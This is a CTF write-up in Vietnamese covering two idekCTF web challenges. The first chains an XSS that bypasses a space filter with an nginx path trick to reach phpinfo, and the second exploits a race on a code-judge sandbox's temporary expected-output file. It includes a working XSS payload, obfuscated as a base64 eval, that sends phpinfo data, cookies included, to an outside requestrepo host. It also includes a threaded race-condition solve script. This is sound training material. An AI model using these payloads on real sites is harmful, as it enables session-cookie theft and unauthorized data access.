# web/Hello [Attachments](https://idekctf-challenges.storage.googleapis.com/uploads/f64f1dd16fae27e943a8f7dab349e00509f39c63bb2278328ac5783d867fa393/idek-hello.tar.gz) Challenge có cấu trúc thư mục như sau: ![image](https://hackmd.io/_uploads/Hyql0KJjC.png) **index.php** ```php <?php function Enhanced_Trim($inp) { $trimmed = array("\r", "\n", "\t", "/", " "); return str_replace($trimmed, "", $inp); } if(isset($_GET['name'])) { $name=substr($_GET['name'],0,23); echo "Hello, ".Enhanced_Trim($_GET['name']); } ?> ``` **info.php** ```php <?php phpinfo(); ?> ``` **nginx.conf** ```php user www-data; worker_processes 1; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name localhost; location / { root /usr/share/nginx/html; index index.php index.html index.htm; } location = /info.php { allow 127.0.0.1; deny all; } location ~ \.php$ { root /usr/share/nginx/html; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_pass unix:/var/run/php/php8.2-fpm.sock; } } } ``` Đây là một challenge XSS, tại file index.php thì ta có thể XSS thoải mái bằng payload sau: ```javascript <img%0csrc="1"onerror=alert(1)> ``` (%0c thay cho kí tự space đã bị filter) Chuyện không có gì đáng nói cho đến khi nhìn thấy `httpOnly: true` ![image](https://hackmd.io/_uploads/rJ8z1cyiR.png) Đến đây thì chắc chắn không thể nào lấy cookie trực tiếp từ con bot rồi. Sau một hồi nghĩ cách thì tìm thấy một bài viết như sau https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/ Tóm gọn thì, `phpinfo()` có lưu lại cookie của ta. Đến đây chỉ cần dùng bot đọc `phpinfo` sau đó gửi đến webhook là win rồi nhưng không. `/info.php` chỉ ip local là `127.0.0.1` mới có thể access. Lúc đầu mình cứ tưởng conbot có ip local (127.0.0.1), và mất nhiều thời gian để thử payload nhưng kết quả không nhận được gì. Lổ hổng thật sự nằm tại file `nginx.conf` Đoạn này mình bị chặn truy cập `/info.php` ![image](https://hackmd.io/_uploads/SJohgq1jR.png) Nhưng nó bị miss đoạn này ![image](https://hackmd.io/_uploads/SJxAe5ys0.png) Như ta thấy là chỉ cần path có `.php` thì nó sẽ tìm xem trong thư mục `/usr/share/nginx/html` có file đó không. Thế nên mình lợi dụng chỗ `location ~ \.php$` bằng cách truy cập `/info.php/cai_meo_gi_cung_duoc.php` Lúc này do trong thư mục có `/usr/share/nginx/html` có `info.php` là một file rồi Cho nên phần đằng sau nó bỏ qua -> Ta bypass được Vậy là win Script js như sau ```javascript fetch('/info.php/cai_meo_gi_cung_duoc.php') .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } console.log('Response from /info.php:', response); return response.text(); }) .then(data => { const encodedData = btoa(unescape(encodeURIComponent(data))); console.log('Data:', data); return fetch('https://5ku5refp.requestrepo.com', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'flag=' + encodedData }); }) .then(response => { if (!response.ok) { throw new Error('POST request failed'); } console.log('POST request was successful:', response); }) .catch(error => { console.error('Error:', error); }); ``` Payload cuối cùng: ```js <img%0csrc="1"onerror=eval(atob('ZmV0Y2goJy9pbmZvLnBocC9jYWlfbWVvX2dpX2N1bmdfZHVvYy5waHAnKQogIC50aGVuKHJlc3BvbnNlID0%2bIHsKICAgIGlmICghcmVzcG9uc2Uub2spIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdOZXR3b3JrIHJlc3BvbnNlIHdhcyBub3Qgb2snKTsKICAgIH0KICAgIGNvbnNvbGUubG9nKCdSZXNwb25zZSBmcm9tIC9pbmZvLnBocDonLCByZXNwb25zZSk7CiAgICByZXR1cm4gcmVzcG9uc2UudGV4dCgpOwogIH0pCiAgLnRoZW4oZGF0YSA9PiB7CiAgICBjb25zdCBlbmNvZGVkRGF0YSA9IGJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEpKSk7CiAgICBjb25zb2xlLmxvZygnRGF0YTonLCBkYXRhKTsKICAgIHJldHVybiBmZXRjaCgnaHR0cHM6Ly81a3U1cmVmcC5yZXF1ZXN0cmVwby5jb20nLCB7ICAKICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgIGhlYWRlcnM6IHsKICAgICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgICAgfSwKICAgICAgYm9keTogJ2ZsYWc9JyArIGVuY29kZWREYXRhCiAgICB9KTsKICB9KQogIC50aGVuKHJlc3BvbnNlID0%2bIHsKICAgIGlmICghcmVzcG9uc2Uub2spIHsKICAgICAgdGhyb3cgbmV3IEVycm9yKCdQT1NUIHJlcXVlc3QgZmFpbGVkJyk7CiAgICB9CiAgICBjb25zb2xlLmxvZygnUE9TVCByZXF1ZXN0IHdhcyBzdWNjZXNzZnVsOicsIHJlc3BvbnNlKTsKICB9KQogIC5jYXRjaChlcnJvciA9PiB7CiAgICBjb25zb2xlLmVycm9yKCdFcnJvcjonLCBlcnJvcik7CiAgfSk7'))> ``` Kết quả: ![image](https://hackmd.io/_uploads/Hk5oM5yjR.png) `Flag: idek{Ghazy_N3gm_Elbalad}` # web/crator [Attachments](https://idekctf-challenges.storage.googleapis.com/uploads/c439adb5dfc98f949c75a2c0d22b63e0ebab084b91062d62954d7ad0f6dd938f/crator.tar.gz) Cấu trúc thư mục như sau ``` ├── app.py ├── db.py ├── db.sqlite ├── sandbox.py └── templates ├── index.html ├── layout.html ├── login.html ├── problem.html ├── register.html ├── submission.html ├── submissions.html └── submit.html ``` Giao diện web như sau, trang web mô phỏng một trang web luyện tương tự hackerank,codeforce ![image](https://hackmd.io/_uploads/HkCGwG8oA.png) Chỉ những hàm các hàm có sẵn trong whitelist mới được phép sử dụng để tránh thực thi các hàm nguy hiểm -> RCE `sandbox.py` như sau ```python builtins_whitelist = set( ( "RuntimeError", "Exception", "KeyboardInterrupt", "False", "None", "True", "bytearray", "bytes", "dict", "float", "int", "list", "object", "set", "str", "tuple", "abs", "all", "any", "apply", "bin", "bool", "buffer", "callable", "chr", "classmethod", "cmp", "coerce", "compile", "delattr", "dir", "divmod", "enumerate", "filter", "format", "hasattr", "hash", "hex", "id", "input", "isinstance", "issubclass", "iter", "len", "map", "max", "min", "next", "oct", "open", "ord", "pow", "print", "property", "range", "reduce", "repr", "reversed", "round", "setattr", "slice", "sorted", "staticmethod", "sum", "super", "unichr", "xrange", "zip", "len", "sort", ) ) class ReadOnlyBuiltins(dict): def clear(self): raise RuntimeError("Nein") def __delitem__(self, key): raise RuntimeError("Nein") def pop(self, key, default=None): raise RuntimeError("Nein") def popitem(self): raise RuntimeError("Nein") def setdefault(self, key, value): raise RuntimeError("Nein") def __setitem__(self, key, value): raise RuntimeError("Nein") def update(self, dict, **kw): raise RuntimeError("Nein") def _safe_open(open, submission_id): def safe_open(file, mode="r"): if mode != "r": raise RuntimeError("Nein") file = str(file) if file.endswith(submission_id + ".expected"): raise RuntimeError("Nein") return open(file, "r") return safe_open class Sandbox(object): def __init__(self, submission_id): import sys from ctypes import pythonapi, POINTER, py_object _get_dict = pythonapi._PyObject_GetDictPtr _get_dict.restype = POINTER(py_object) _get_dict.argtypes = [py_object] del pythonapi, POINTER, py_object def dictionary_of(ob): dptr = _get_dict(ob) return dptr.contents.value type_dict = dictionary_of(type) del type_dict["__bases__"] del type_dict["__subclasses__"] original_builtins = sys.modules["__main__"].__dict__["__builtins__"].__dict__ original_builtins["open"] = _safe_open(open, submission_id) for builtin in list(original_builtins): if builtin not in builtins_whitelist: del sys.modules["__main__"].__dict__["__builtins__"].__dict__[builtin] safe_builtins = ReadOnlyBuiltins(original_builtins) sys.modules["__main__"].__dict__["__builtins__"] = safe_builtins if hasattr(sys.modules["__main__"], "__file__"): del sys.modules["__main__"].__file__ if hasattr(sys.modules["__main__"], "__loader__"): del sys.modules["__main__"].__loader__ for key in [ "__loader__", "__spec__", "origin", "__file__", "__cached__", "ReadOnlyBuiltins", "Sandbox", ]: if key in sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__: del sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__[key] ``` Flag sẽ là phần output của testcase 2, nhưng bị ẩn đi ![image](https://hackmd.io/_uploads/HyuAwfLiC.png) Và tất nhiên là phần input sẽ không nhập flag vào ![image](https://hackmd.io/_uploads/Ska7ufLi0.png) Mỗi lần submit thì chương trình sẽ tạo ra file `/tmp/{submission_id}.expected` tương ứng với mỗi testcase để chứa expected output. ![image](https://hackmd.io/_uploads/r1d3uGUsC.png) ```python try: proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1) if proc.returncode != 0: submission.status = 'Runtime Error' skip_remaining_cases = True submission_case.status = 'Runtime Error' else: diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True) if diff.stdout: submission.status = 'Wrong Answer' skip_remaining_cases = True submission_case.status = 'Wrong Answer' else: submission_case.status = 'Accepted' except subprocess.TimeoutExpired: submission.status = 'Time Limit Exceeded' skip_remaining_cases = True submission_case.status = 'Time Limit Exceeded' ``` Chương trình sẽ so sánh input ta nhập với file `{submission_id}.expected` thông qua lệnh `diff`. Nếu đúng thì in ra `Accepted`, ngược lại thì in ra `Wrong Answer` Chương trình có time limit là 1s Sau khi chạy sau các file vừa được tạo sẽ bị xóa hết ![image](https://hackmd.io/_uploads/ryg2pMLiC.png) ![image](https://hackmd.io/_uploads/HkZgAGLj0.png) Nhưng submission_id sẽ không bị đặt lại về 1, các submisson sau được tạo thì submission_id sẽ vẫn được tăng tiến dần dần (do submission_id được lấy từ database) Ở đây mình sẽ debug local bằng comment hàm `__cleanup_test_case` lại ![image](https://hackmd.io/_uploads/r12mkXIiR.png) Chạy thử trường hợp testcase đầu bị sai ![Screenshot 2024-08-23 212903](https://hackmd.io/_uploads/r18-lXIoA.png) Thì file `{submission_id}.expected` được tạo ra sẽ là ![image](https://hackmd.io/_uploads/r127em8s0.png) Trong trường hợp testcase đầu chạy đúng ![Screenshot 2024-08-23 214406](https://hackmd.io/_uploads/H18Oem8s0.png) ![image](https://hackmd.io/_uploads/BypKxQLjR.png) File `{submission_id}.expected` sẽ chứa flag Chương trình sẽ chạy tối đa 1s trước khi bị timeout, câu hỏi đặt ra là nếu ta truy cập file `{submission_id}.expected` trước khi nó bị xóa thì có được không? Câu trả lời là có, chúng ta sẽ tạo ra 2 user - User đầu tiên sẽ dùng để tạo ra file `{submission_id}.expected` có chứa flag, và sẽ cho chạy vòng lặp đến khi bị timeout - User thứ 2 sẽ dùng để đọc file `/tmp/{submission_id}.expected` của user 1 trước khi user bị timeout Cả 2 sẽ được thực hiện đồng thời trong vòng 1 giây User 1: ![image](https://hackmd.io/_uploads/Bk89EXUjR.png) User 2: ![image](https://hackmd.io/_uploads/Hk2kHX8iC.png) Nếu thành công flag sẽ được hiển thị ở đây ![Screenshot 2024-08-23 221251](https://hackmd.io/_uploads/r1LHvQLsR.png) Thật ra dùng tay để chạy cả 2 cùng lúc cũng được, nhưng mà mình sẽ tập code cho quen solve.py ```python import requests, time, threading url = "https://crator-cba29794c90f2532.instancer.idek.team/submit/helloinput" def user1(): cookies_user1 = {"session": "eyJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6ImEifQ.ZsinZw.Iw4WzikWmc9TgTyFx_-RI7QBMjs"} code_user1 = {"code": "a = input()\r\nif a == \"Welcome to Crator\":\r\n print(a)\r\nelse:\r\n while 1:\r\n pass"} requests.post(url, cookies=cookies_user1, data=code_user1) t = threading.Thread(target=user1) t.start() time.sleep(0.2) # Wait for user1 to finish running test case 1 and successfully create the flag #user2 cookies_user2 = {"session": "eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImIifQ.Zsingg.Q17jn58CP7Q_evylq2KFRkj1sGw"} code_user2 = {"code": "print(*open(\"/tmp/1.expected\"))"} r = requests.post(url, cookies=cookies_user2, data=code_user2) flag = r.text.split("idek{")[1].split("}")[0] print("idek{"+flag+"}") ``` Kết quả ![image](https://hackmd.io/_uploads/B1UWKQUsA.png) `Flag: idek{1m4g1n3_n0t_h4v1ng_pr0p3r_s4ndb0x1ng}`